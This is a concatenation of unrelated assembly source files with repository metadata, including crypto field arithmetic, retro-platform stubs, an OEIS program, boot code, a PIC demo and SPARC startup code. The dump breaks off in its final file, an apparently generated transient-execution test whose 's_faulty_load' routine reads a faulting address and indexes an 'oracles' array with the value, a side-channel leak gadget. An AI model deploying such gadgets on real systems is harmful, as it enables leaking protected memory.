(16)(%rsi), %r10 sbbq (24)(%rsi), %r11 sbb $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 test %r13, %r13 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe6: .size m7_p224r1_neg, .Lfe6-(m7_p224r1_neg) .p2align 4, 0x90 p224r1_mmull: xor %r13, %r13 movq (%rbx), %rax mulq (%rsi) mov %rax, %r8 mov %rdx, %r9 movq (%rbx), %rax mulq (8)(%rsi) add %rax, %r9 adc $(0), %rdx mov %rdx, %r10 movq (%rbx), %rax mulq (16)(%rsi) add %rax, %r10 adc $(0), %rdx mov %rdx, %r11 movq (%rbx), %rax mulq (24)(%rsi) add %rax, %r11 adc $(0), %rdx mov %rdx, %r12 neg %r8 mov %r8, %rcx mov %r8, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r8 adc %rax, %r9 adc %rdx, %r10 adc %rcx, %r11 adc %rbp, %r12 movq (8)(%rbx), %rax mulq (%rsi) add %rax, %r9 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %r13 neg %r9 mov %r9, %rcx mov %r9, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r9 adc %rax, %r10 adc %rdx, %r11 adc %rcx, %r12 adc %rbp, %r13 movq (16)(%rbx), %rax mulq (%rsi) add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %r14 neg %r10 mov %r10, %rcx mov %r10, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r10 adc %rax, %r11 adc %rdx, %r12 adc %rcx, %r13 adc %rbp, %r14 movq (24)(%rbx), %rax mulq (%rsi) add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r14 adc $(0), %rdx add %rax, %r14 adc $(0), %rdx mov %rdx, %r15 neg %r11 mov %r11, %rcx mov %r11, %rbp xor %rax, %rax xor %rdx, %rdx shr $(32), %rbp shl $(32), %rcx sub %rcx, %rax sbb %rbp, %rdx sbb $(0), %rcx sbb $(0), %rbp neg %r11 adc %rax, %r12 adc %rdx, %r13 adc %rcx, %r14 adc %rbp, %r15 movq Lpoly+0(%rip), %rax movq Lpoly+8(%rip), %rdx movq Lpoly+16(%rip), %rcx movq Lpoly+24(%rip), %rbp mov %r12, %r8 mov %r13, %r9 mov %r14, %r10 mov %r15, %r11 sub %rax, %r12 sbb %rdx, %r13 sbb %rcx, %r14 sbb %rbp, %r15 cmovc %r8, %r12 cmovc %r9, %r13 cmovc %r10, %r14 cmovc %r11, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) ret .globl m7_p224r1_mul_montl .type m7_p224r1_mul_montl, @function m7_p224r1_mul_montl: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rdx, %rbx call p224r1_mmull pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe7: .size m7_p224r1_mul_montl, .Lfe7-(m7_p224r1_mul_montl) .p2align 4, 0x90 .globl m7_p224r1_to_mont .type m7_p224r1_to_mont, @function m7_p224r1_to_mont: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 lea LRR(%rip), %rbx call p224r1_mmull pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe8: .size m7_p224r1_to_mont, .Lfe8-(m7_p224r1_to_mont) .p2align 4, 0x90 .globl m7_p224r1_sqr_montl .type m7_p224r1_sqr_montl, @function m7_p224r1_sqr_montl: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rsi, %rbx call p224r1_mmull pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe9: .size m7_p224r1_sqr_montl, .Lfe9-(m7_p224r1_sqr_montl) .p2align 4, 0x90 .globl m7_p224r1_mont_back .type m7_p224r1_mont_back, @function m7_p224r1_mont_back: push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 xor %r12, %r12 xor %r13, %r13 xor %r14, %r14 xor %r15, %r15 neg %r8 mov %r8, %rcx mov %r8, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r8 adc %rax, %r9 adc %rdx, %r10 adc %rcx, %r11 adc %rsi, %r12 neg %r9 mov %r9, %rcx mov %r9, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r9 adc %rax, %r10 adc %rdx, %r11 adc %rcx, %r12 adc %rsi, %r13 neg %r10 mov %r10, %rcx mov %r10, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r10 adc %rax, %r11 adc %rdx, %r12 adc %rcx, %r13 adc %rsi, %r14 neg %r11 mov %r11, %rcx mov %r11, %rsi xor %rax, %rax xor %rdx, %rdx shr $(32), %rsi shl $(32), %rcx sub %rcx, %rax sbb %rsi, %rdx sbb $(0), %rcx sbb $(0), %rsi neg %r11 adc %rax, %r12 adc %rdx, %r13 adc %rcx, %r14 adc %rsi, %r15 mov %r12, %r8 mov %r13, %r9 mov %r14, %r10 mov %r15, %r11 subq Lpoly+0(%rip), %r12 sbbq Lpoly+8(%rip), %r13 sbbq Lpoly+16(%rip), %r14 sbbq Lpoly+24(%rip), %r15 cmovc %r8, %r12 cmovc %r9, %r13 cmovc %r10, %r14 cmovc %r11, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 ret .Lfe10: .size m7_p224r1_mont_back, .Lfe10-(m7_p224r1_mont_back) .p2align 4, 0x90 .globl m7_p224r1_select_pp_w5 .type m7_p224r1_select_pp_w5, @function m7_p224r1_select_pp_w5: push %r12 push %r13 movdqa LOne(%rip), %xmm0 movdqa %xmm0, %xmm8 movd %edx, %xmm1 pshufd $(0), %xmm1, %xmm1 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 pxor %xmm6, %xmm6 pxor %xmm7, %xmm7 mov $(16), %rcx .Lselect_loop_sse_w5gas_11: movdqa %xmm8, %xmm15 pcmpeqd %xmm1, %xmm15 paddd %xmm0, %xmm8 movdqa (%rsi), %xmm9 movdqa (16)(%rsi), %xmm10 movdqa (32)(%rsi), %xmm11 movdqa (48)(%rsi), %xmm12 movdqa (64)(%rsi), %xmm13 movdqa (80)(%rsi), %xmm14 add $(96), %rsi pand %xmm15, %xmm9 pand %xmm15, %xmm10 pand %xmm15, %xmm11 pand %xmm15, %xmm12 pand %xmm15, %xmm13 pand %xmm15, %xmm14 por %xmm9, %xmm2 por %xmm10, %xmm3 por %xmm11, %xmm4 por %xmm12, %xmm5 por %xmm13, %xmm6 por %xmm14, %xmm7 dec %rcx jnz .Lselect_loop_sse_w5gas_11 movdqu %xmm2, (%rdi) movdqu %xmm3, (16)(%rdi) movdqu %xmm4, (32)(%rdi) movdqu %xmm5, (48)(%rdi) movdqu %xmm6, (64)(%rdi) movdqu %xmm7, (80)(%rdi) pop %r13 pop %r12 ret .Lfe11: .size m7_p224r1_select_pp_w5, .Lfe11-(m7_p224r1_select_pp_w5) .p2align 4, 0x90 .globl m7_p224r1_select_ap_w7 .type m7_p224r1_select_ap_w7, @function m7_p224r1_select_ap_w7: push %r12 push %r13 movdqa LOne(%rip), %xmm0 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 movdqa %xmm0, %xmm8 movd %edx, %xmm1 pshufd $(0), %xmm1, %xmm1 mov $(64), %rcx .Lselect_loop_sse_w7gas_12: movdqa %xmm8, %xmm15 pcmpeqd %xmm1, %xmm15 paddd %xmm0, %xmm8 movdqa (%rsi), %xmm9 movdqa (16)(%rsi), %xmm10 movdqa (32)(%rsi), %xmm11 movdqa (48)(%rsi), %xmm12 add $(64), %rsi pand %xmm15, %xmm9 pand %xmm15, %xmm10 pand %xmm15, %xmm11 pand %xmm15, %xmm12 por %xmm9, %xmm2 por %xmm10, %xmm3 por %xmm11, %xmm4 por %xmm12, %xmm5 dec %rcx jnz .Lselect_loop_sse_w7gas_12 movdqu %xmm2, (%rdi) movdqu %xmm3, (16)(%rdi) movdqu %xmm4, (32)(%rdi) movdqu %xmm5, (48)(%rdi) pop %r13 pop %r12 ret .Lfe12: .size m7_p224r1_select_ap_w7, .Lfe12-(m7_p224r1_select_ap_w7)
25.220339
87
0.415457
[ "Apache-2.0" ]
ymarkovitch/ipp-crypto
sources/ippcp/asm_intel64_gas_converted/linux/nonpic/m7/merged/pcpp224r1funcs_montas.asm
22,320
Assembly
; void sp1_PutTilesInv(struct sp1_Rect *r, struct sp1_tp *src) SECTION code_clib SECTION code_temp_sp1 PUBLIC _sp1_PutTilesInv EXTERN l0_sp1_PutTilesInv_callee _sp1_PutTilesInv: pop af pop hl pop de push de push hl push af jp l0_sp1_PutTilesInv_callee
13.47619
62
0.756184
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_PutTilesInv.asm
283
Assembly
.STRUCT SLKS_DMA Enable db Bank db SrcR dw Src1 dw Dst1 dw Size1 dw Src2 dw Dst2 dw Size2 dw Src3 dw Dst3 dw Size3 dw Src4 dw Dst4 dw Size4 dw Func dw dmat dw .ENDST .STRUCT SLKS_FADE timer dw brg db phase db vin db vout db .ENDST .STRUCT SLKS_OAM zorderadr dw n1 db n2 db x dw y dw tile dw ext db sz dw tmp1 dw tmp2 dw zorder DSB $20-2 nperso1 db nperso2 db .ENDST .STRUCT SLKS_BG EnableX dw EnableY dw Enablelim dw x dw y dw H dw V dw limitex dw limitey dw addyr dw addy dw H_vadd1 dw V_vadd1 dw Dadd1_1 dw Dadd2_1 dw H_vadd2 dw V_vadd2 dw Dadd1_2 dw Dadd2_2 dw VScrollx dsb 3 VScrolly dsb 3 Address1 dsb 3 Address2 dsb 3 Addressc dsb 3 .ENDST .STRUCT SLKS_BULLET i db n db X dsw 64 Y dsw 64 Tile dsb 64 Flip dsb 64 Flag dsw 64 VX dsw 64 VY dsw 64 .ENDST .STRUCT SLKS_SPRITE_CTRL Address dsw 12 .ENDST .STRUCT SLKS_SPRITE X dw Y dw Tile db Flip db VX dw VY dw OAM dw Ext dw PX dw PY dw Screen db Anim_type db Anim_i db Anim_l db Anim_act db Anim_old db Anim_end db Anim_v db Anim_n db Anim_flg db Address dw V dw .ENDST .STRUCT SLKS_PAL effect db type db i dw l dw bg1 dsb 3 bg2 dsb 3 bg3 dsb 3 bg4 dsb 3 bg5 dsb 3 bg6 dsb 3 bg7 dsb 3 bg8 dsb 3 sp1 dsb 3 sp2 dsb 3 sp3 dsb 3 sp4 dsb 3 sp5 dsb 3 sp6 dsb 3 sp7 dsb 3 sp8 dsb 3 .ENDST .STRUCT SLKS_DMA_SEND dma dsw 6 Enable dsw 6 i dw Src dsw 4*128 Dst dsw 4*128 index dsw 128 .ENDST .STRUCT SLKS_OAMZ oam dsw 12 y dsw 12 .ENDST
8.817647
24
0.6998
[ "MIT" ]
Kannagi/LKS
src/LKS/STRUCT.asm
1,499
Assembly
; A163864: a(n) = 2*a(n-2) for n > 2; a(1) = 1, a(2) = 6. ; 1,6,2,12,4,24,8,48,16,96,32,192,64,384,128,768,256,1536,512,3072,1024,6144,2048,12288,4096,24576,8192,49152,16384,98304,32768,196608,65536,393216,131072,786432,262144,1572864,524288,3145728,1048576,6291456,2097152,12582912,4194304,25165824,8388608,50331648,16777216,100663296,33554432,201326592,67108864,402653184,134217728,805306368,268435456,1610612736,536870912,3221225472,1073741824,6442450944,2147483648,12884901888,4294967296,25769803776,8589934592,51539607552,17179869184,103079215104,34359738368,206158430208,68719476736,412316860416,137438953472,824633720832,274877906944,1649267441664,549755813888,3298534883328,1099511627776,6597069766656,2199023255552,13194139533312,4398046511104,26388279066624,8796093022208,52776558133248,17592186044416,105553116266496,35184372088832,211106232532992,70368744177664,422212465065984,140737488355328,844424930131968,281474976710656,1688849860263936,562949953421312,3377699720527872 mov $1,1 mov $3,6 lpb $0 sub $0,1 mov $2,$1 mov $1,$3 mul $2,2 mov $3,$2 lpe mov $0,$1
77.571429
929
0.827808
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/163/A163864.asm
1,086
Assembly
; Generated at 4/14/2019 1:59:47 AM DebugStub_TracerEntry: cli Pushad mov dword [DebugStub_PushAllPtr], ESP mov dword [DebugStub_CallerEBP], EBP mov EBP, ESP add EBP, 0x20 mov EAX, dword [EBP] add EBP, 0xC mov dword [DebugStub_CallerESP], EBP mov EBX, EAX MOV EAX, DR6 and EAX, 0x4000 cmp EAX, 0x4000 JE near DebugStub_TracerEntry_Block1_End dec dword EBX DebugStub_TracerEntry_Block1_End: mov EAX, EBX mov dword [DebugStub_CallerEIP], EAX Call DebugStub_Executing Popad sti DebugStub_TracerEntry_Exit: iret
16.548387
40
0.80117
[ "BSD-3-Clause" ]
CosmosOS/XSharp
playground/Gen1/TracerEntry.asm
513
Assembly
; Copyright (c) 2018 M D ; ; This software is released under the MIT License. ; https://opensource.org/licenses/MIT print_hex: pusha mov cx, 0 hex_loop: cmp cx, 4 je end mov ax, dx and ax, 0x000f add al, 0x30 cmp al, 0x39 jle step2 add al, 7 step2: mov bx, HEX_OUT + 5 sub bx, cx mov [bx], al ror dx, 4 add cx, 1 jmp hex_loop end: mov bx, HEX_OUT call print popa ret HEX_OUT: db '0x0000',0
15.322581
50
0.581053
[ "MIT" ]
great-coder/OS-Code
kernel/arch/x86/boot/print_hex.asm
475
Assembly
lc r4, 0x7fffffff lc r5, 0x00000101 ges r6, r4, r5 halt #@expected values #r4 = 0x7fffffff #r5 = 0x00000101 #r6 = 0x00000001 #pc = -2147483628 #e0 = 0 #e1 = 0 #e2 = 0 #e3 = 0
12.0625
21
0.595855
[ "BSD-3-Clause" ]
dellard/ant-architecture
Src/Ant32/Tests/ant32/comp/ges-null-super-comp-33.autotest.asm
193
Assembly
! crt1.s for solaris 2.0. ! Copyright (C) 1992 Free Software Foundation, Inc. ! Written By David Vinayak Henkel-Wallace, June 1992 ! ! This file is free software; you can redistribute it and/or modify it ! under the terms of the GNU General Public License as published by the ! Free Software Foundation; either version 2, or (at your option) any ! later version. ! ! In addition to the permissions in the GNU General Public License, the ! Free Software Foundation gives you unlimited permission to link the ! compiled version of this file with other programs, and to distribute ! those programs without any restriction coming from the use of this ! file. (The General Public License restrictions do apply in other ! respects; for example, they cover modification of the file, and ! distribution when not linked into another program.) ! ! This file is distributed in the hope that it will be useful, but ! WITHOUT ANY WARRANTY; without even the implied warranty of ! MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ! General Public License for more details. ! ! You should have received a copy of the GNU General Public License ! along with this program; see the file COPYING. If not, write to ! the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. ! ! As a special exception, if you link this library with files ! compiled with GCC to produce an executable, this does not cause ! the resulting executable to be covered by the GNU General Public License. ! This exception does not however invalidate any other reasons why ! the executable file might be covered by the GNU General Public License. ! ! This file takes control of the process from the kernel, as specified ! in section 3 of the SVr4 ABI. ! This file is the first thing linked into any executable. .section ".text" .proc 022 .global _start _start: mov 0, %fp ! Mark bottom frame pointer ld [%sp + 64], %l0 ! argc add %sp, 68, %l1 ! argv ! Leave some room for a call. Sun leaves 32 octets (to sit on ! a cache line?) so we do too. sub %sp, 32, %sp ! %g1 may contain a function to be registered w/atexit orcc %g0, %g1, %g0 be .nope mov %g1, %o0 call atexit nop .nope: ! Now make sure constructors and destructors are handled. set _fini, %o0 call atexit, 1 nop call _init, 0 nop ! We ignore the auxiliary vector; there's no defined way to ! access those data anyway. Instead, go straight to main: mov %l0, %o0 ! argc mov %l1, %o1 ! argv ! Skip argc words past argv, to env: sll %l0, 2, %o2 add %o2, 4, %o2 add %l1, %o2, %o2 ! env set _environ, %o3 st %o2, [%o3] ! *_environ call main, 4 nop call exit, 0 nop call _exit, 0 nop ! We should never get here. .type _start,#function .size _start,.-_start
32.348837
78
0.721064
[ "MIT" ]
VivekMaran27/How-to-install-SimpleScalar-on-Ubuntu
build/gcc-2.6.3/config/sparc/sol2-c1.asm
2,782
Assembly
; A269554: Expansion of (3*x^2 + 244*x + 1)/(x^3 - 99*x^2 + 99*x - 1). ; Submitted by Christian Krause ; -1,-343,-33861,-3318283,-325158121,-31862177823,-3122168268781,-305940628162963,-29979059391701841,-2937641879758617703,-287858925156952833301,-28207237023501619046043,-2764021369378001713679161,-270845886962020666321511983,-26540132900908647297794495421 mul $0,2 add $0,1 mov $1,2 lpb $0 sub $0,1 add $2,$1 add $1,$2 add $2,$1 add $1,$2 add $2,$1 add $2,2 lpe sub $0,$1 sub $0,10 div $0,3 add $0,5
24.714286
256
0.703276
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/269/A269554.asm
519
Assembly
; A008742: Molien series for 3-dimensional group [3,3 ]+ = 332. ; 1,0,1,1,2,1,4,2,5,4,7,5,10,7,12,10,15,12,19,15,22,19,26,22,31,26,35,31,40,35,46,40,51,46,57,51,64,57,70,64,77,70,85,77,92,85,100,92,109,100,117,109,126,117,136,126,145,136,155,145,166,155,176,166,187,176,199,187,210,199,222,210,235,222,247,235,260,247,274,260,287,274,301,287,316,301,330,316,345,330,361,345,376,361,392,376,409,392,425,409,442,425,460,442,477,460,495,477,514,495,532,514,551,532,571,551,590,571,610,590,631,610,651,631,672,651,694,672,715,694,737,715,760,737,782,760,805,782,829,805,852,829,876,852,901,876,925,901,950,925,976,950,1001,976,1027,1001,1054,1027,1080,1054,1107,1080,1135,1107,1162,1135,1190,1162,1219,1190,1247,1219,1276,1247,1306,1276,1335,1306,1365,1335,1396,1365,1426,1396,1457,1426,1489,1457,1520,1489,1552,1520,1585,1552,1617,1585,1650,1617,1684,1650,1717,1684,1751,1717,1786,1751,1820,1786,1855,1820,1891,1855,1926,1891,1962,1926,1999,1962,2035,1999,2072,2035,2110,2072,2147,2110,2185,2147,2224,2185,2262,2224,2301,2262,2341,2301,2380,2341,2420,2380,2461,2420,2501,2461,2542,2501,2584,2542,2625,2584 cal $0,8796 ; Molien series for 3-dimensional group [2,3]+ = 223; also for group H_{1,2} of order 384. add $0,3 div $0,2 mov $1,$0 sub $1,1
138.222222
1,038
0.741158
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/008/A008742.asm
1,244
Assembly
%include "io.inc" extern scanf section .data v dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 input db "%d%d", 0 section .bss last resd 1 first resd 1 section .text sum: push ebp mov ebp, esp xor eax, eax mov ecx, [ebp + 12] mov edi, [ebp + 8] calculate_sum: add eax, [edi + (ecx - 1) * 4] loop calculate_sum leave ret sum_interval: push ebp mov ebp, esp mov ecx, [ebp + 16] sub ecx, [ebp + 12] inc ecx push ecx mov ecx, [ebp + 12] shl ecx, 2 add ecx, [ebp + 8] push ecx call sum leave ret global CMAIN CMAIN: mov ebp, esp; for correct debugging push ebp mov ebp, esp push last push first push input call scanf push dword [last] push dword [first] push v call sum_interval PRINT_DEC 4, eax NEWLINE leave xor eax, eax ret
12.704225
39
0.545455
[ "MIT" ]
DanBrezeanu/IOCLA
Snippeturi/CB/1/pb2.asm
902
Assembly
; unsigned char esx_m_drvapi(struct esx_drvapi *) SECTION code_esxdos PUBLIC _esx_m_drvapi_fastcall EXTERN asm_esx_m_drvapi defc _esx_m_drvapi_fastcall = asm_esx_m_drvapi
17.5
49
0.857143
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_ix/esx_m_drvapi_fastcall.asm
175
Assembly
; A290112: Binary representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 643", based on the 5-celled von Neumann neighborhood. ; 1,11,101,1011,10111,101111,1011111,10111111,101111111,1011111111,10111111111,101111111111,1011111111111,10111111111111,101111111111111,1011111111111111,10111111111111111,101111111111111111,1011111111111111111,10111111111111111111,101111111111111111111,1011111111111111111111,10111111111111111111111,101111111111111111111111,1011111111111111111111111,10111111111111111111111111,101111111111111111111111111,1011111111111111111111111111,10111111111111111111111111111,101111111111111111111111111111,1011111111111111111111111111111,10111111111111111111111111111111,101111111111111111111111111111111,1011111111111111111111111111111111,10111111111111111111111111111111111,101111111111111111111111111111111111 add $0,1 lpb $0 mov $3,$2 cmp $3,0 add $4,$2 add $2,$3 mov $3,$4 cmp $3,0 add $4,$3 mov $3,$0 cmp $3,1 add $0,$3 sub $0,1 mod $2,$4 mul $4,10 lpe mov $0,$4 div $0,10 mul $0,10 add $0,1
47.333333
703
0.829225
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/290/A290112.asm
1,136
Assembly
; A051740: Partial sums of A007584. ; 1,11,45,125,280,546,966,1590,2475,3685,5291,7371,10010,13300,17340,22236,28101,35055,43225,52745,63756,76406,90850,107250,125775,146601,169911,195895,224750,256680,291896,330616,373065,419475,470085,525141,584896,649610,719550,794990,876211,963501,1057155,1157475,1264770,1379356,1501556,1631700,1770125,1917175,2073201,2238561,2413620,2598750,2794330,3000746,3218391,3447665,3688975,3942735,4209366,4489296,4782960,5090800,5413265,5750811,6103901,6473005,6858600,7261170,7681206,8119206,8575675 add $0,1 lpb $0 sub $0,1 add $2,1 add $4,$2 add $2,6 add $3,$4 add $1,$3 lpe mov $0,$1
45.285714
497
0.783912
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/051/A051740.asm
634
Assembly
; program : PICTEST1.ASM ; date : OCT, 2020 ; written by : ENES MERCAN ; scenerio : Turn on pins RB0, RB1, RB2, RB3 ; purpose : using the 'W'orking register for w/r operations ;---------------------------------------------------------------------- ; indicate what pic we're using to the complier LIST P = 16F628A INCLUDE "P16F628A.INC" ;---------------------------------------------------------------------- ;configuration bits __CONFIG _XT_OSC & _WDT_OFF & _PWRTE_ON & _MCLRE_ON & _BODEN_OFF & _LVP_OFF & _DATA_CP_OFF & _CP_OFF ;_XT_OSC --> external crystal oscillator ;_WDT_OFF --> watchdog timer off ;_PWRTE_ON --> power up timer is on (will wait 72ms when powered) ;_MCLRE_ON --> external reset is active ;_BODEN_OFF --> low voltage protection is off (diff to handle for beginners) ;_LVP_OFF --> low power programming is disabled ; _DATA_CP_OFF --> no eeprom data protection (it's readable) ;_CP_OFF --> no rom code protection (anyone can read) ;---------------------------------------------------------------------- ; starts the program from this address ORG H'0000' ;---------------------------------------------------------------------- ; This is basically SETUP block of our program CLRF PORTB BANKSEL TRISB CLRF TRISB BANKSEL PORTB ;---------------------------------------------------------------------- ; The program execution block (main program flow block) START MOVLW H'0F' MOVWF PORTB ;---------------------------------------------------------------------- ; Ending the program LOOP GOTO LOOP END ;----------------------------------------------------------------------
29.183333
80
0.465448
[ "MIT" ]
EnesMercan/PIC-MCU-Projects
PIC16-ASSEMBLY/6_blinkPortb.asm
1,751
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1cf94, %rbp nop nop nop nop add $16286, %r11 mov $0x6162636465666768, %r14 movq %r14, (%rbp) nop nop nop nop xor $13521, %rdi lea addresses_UC_ht+0x18e0a, %r8 sub $11810, %rdi mov (%r8), %ebp nop nop nop nop xor %r14, %r14 lea addresses_normal_ht+0x652, %rsi lea addresses_D_ht+0x5a2, %rdi nop nop nop nop cmp $43419, %r13 mov $127, %rcx rep movsw nop nop nop and $23752, %rsi lea addresses_D_ht+0x1c0ff, %r13 nop nop nop sub %rbp, %rbp movl $0x61626364, (%r13) nop cmp $27144, %rsi lea addresses_UC_ht+0x1a79c, %r14 nop nop nop nop inc %r8 mov $0x6162636465666768, %rsi movq %rsi, %xmm5 movups %xmm5, (%r14) nop nop and %r11, %r11 lea addresses_normal_ht+0x14852, %rsi lea addresses_D_ht+0x17a1f, %rdi nop xor $2870, %rbp mov $10, %rcx rep movsw nop sub $14811, %r8 lea addresses_WT_ht+0x17852, %r13 nop xor $17513, %rdi mov (%r13), %r11w nop nop sub $12686, %rcx lea addresses_normal_ht+0xde52, %r11 nop nop nop nop nop dec %rcx movb (%r11), %r13b nop cmp $46812, %r11 lea addresses_normal_ht+0x2f52, %rdi sub $37376, %r13 movw $0x6162, (%rdi) cmp %rdi, %rdi lea addresses_WT_ht+0x13862, %rcx nop nop nop nop nop sub $26107, %r14 mov $0x6162636465666768, %rbp movq %rbp, (%rcx) nop nop nop nop nop xor %r13, %r13 lea addresses_D_ht+0x6fb6, %rsi lea addresses_A_ht+0xa4fc, %rdi nop nop nop nop cmp %r11, %r11 mov $90, %rcx rep movsw dec %rdi lea addresses_WT_ht+0x9252, %rsi lea addresses_A_ht+0x1e852, %rdi clflush (%rdi) nop nop nop nop nop xor $49194, %r13 mov $117, %rcx rep movsw nop nop nop xor %r14, %r14 lea addresses_A_ht+0x1da52, %rsi nop add %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm6 movups %xmm6, (%rsi) nop nop xor $56368, %r14 lea addresses_UC_ht+0xe052, %rbp nop nop cmp %r11, %r11 movb (%rbp), %r13b nop nop and %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r9 push %rcx push %rdi push %rdx // Faulty Load mov $0x852, %r15 nop nop nop cmp %r9, %r9 vmovntdqa (%r15), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdi lea oracles, %r10 and $0xff, %rdi shlq $12, %rdi mov (%r10,%rdi,1), %rdi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_P', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'src': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 